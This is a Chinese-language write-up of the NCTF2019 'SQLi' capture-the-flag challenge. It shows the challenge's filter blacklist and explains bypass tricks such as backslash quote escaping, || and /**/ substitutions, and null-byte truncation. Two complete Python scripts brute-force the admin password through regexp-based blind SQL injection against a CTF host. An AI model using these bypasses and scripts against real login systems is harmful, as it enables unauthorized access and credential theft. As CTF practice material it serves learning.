• [NCTF2019]SQLi regexp 盲注


    /robots.txt

    访问一下

    1. $black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
    2. If $_POST['passwd'] === admin's password,
    3. Then you will get the flag;

    这里实现了过滤

    说需要admin的密码

    这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过

    所以我们通过passwd注入

    or 使用 || 代替

    然后空格使用 /**/代替

    我们尝试登入

    发现进行302跳转 但是没办法

    所以还是要通过 查询admin passwd 进入

    所以我们开始

    写注入的代码 这里很多都被过滤了

    但是放出了 ^和 regexp

    正则

    我们可以通过正则来读取

    和下面的例子一样

    1. select (select 'b') > (select 'abc') 这个时候会返回0
    2. select name regexp "^a" 这里的name是admin //我自己的数据库
    3. 返回的是1

    所以我们可以通过 布尔注入实现这道题的读取

    1. import time
    2. from urllib import parse
    3. import requests
    4. import string
    5. baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"
    6. paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'
    7. def add(flag):
    8. res=''
    9. res += flag
    10. return res
    11. flag=''
    12. ascii_chars = string.ascii_letters + string.digits + string.punctuation
    13. print(ascii_chars)
    14. for i in range(20):
    15. for j in ascii_chars:
    16. data = add(flag+j)
    17. paylaod1 = paylaod.format(data,parse.unquote('%00'))
    18. print(paylaod1)
    19. data={'username':'\\',
    20. 'passwd':paylaod1}
    21. re=requests.post(url=baseurl,data=data)
    22. if re.status_code == 429:
    23. time.sleep(0.5)
    24. if "welcome.php" in re.text:
    25. flag += j
    26. print(flag)
    27. break

    这里很坑 上面的 字符*的时候会循环输出        

    you*u*u*u

    不知道是环境问题还是什么

    所以我们现在替换

    1. import time
    2. from urllib import parse
    3. import requests
    4. import string
    5. baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"
    6. paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'
    7. def add(flag):
    8. res=''
    9. res += flag
    10. return res
    11. flag=''
    12. ascii_chars = string.ascii_letters+string.digits+"_"
    13. for i in range(20):
    14. for j in ascii_chars:
    15. data = add(flag+j)
    16. paylaod1 = paylaod.format(data,parse.unquote('%00'))
    17. data={'username':'\\',
    18. 'passwd':paylaod1}
    19. re=requests.post(url=baseurl,data=data)
    20. if re.status_code == 429:
    21. time.sleep(0.5)
    22. if "welcome.php" in re.text:
    23. flag += j
    24. print(flag)
    25. break

    这个就可以爆出值了

    you_will_never_know7788990

  • 相关阅读:
    ARP欺骗
    【软件分析课程11讲-学习笔记】布尔可满足性SAT
    按照型号分组,分组后统计数量
    分治法思考题
    Docker 可视化面板 ——Portainer
    【P182~P184】类模板案例-数组类封装
    windows安装gdal库
    2.4 Struc2vec(图神经网络笔记)
    自实现朴素贝叶斯分类器with案例:基于SMS Spam Collection数据集的广告邮件分类
    ARM/Linux嵌入式面经(五):联想
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/133714167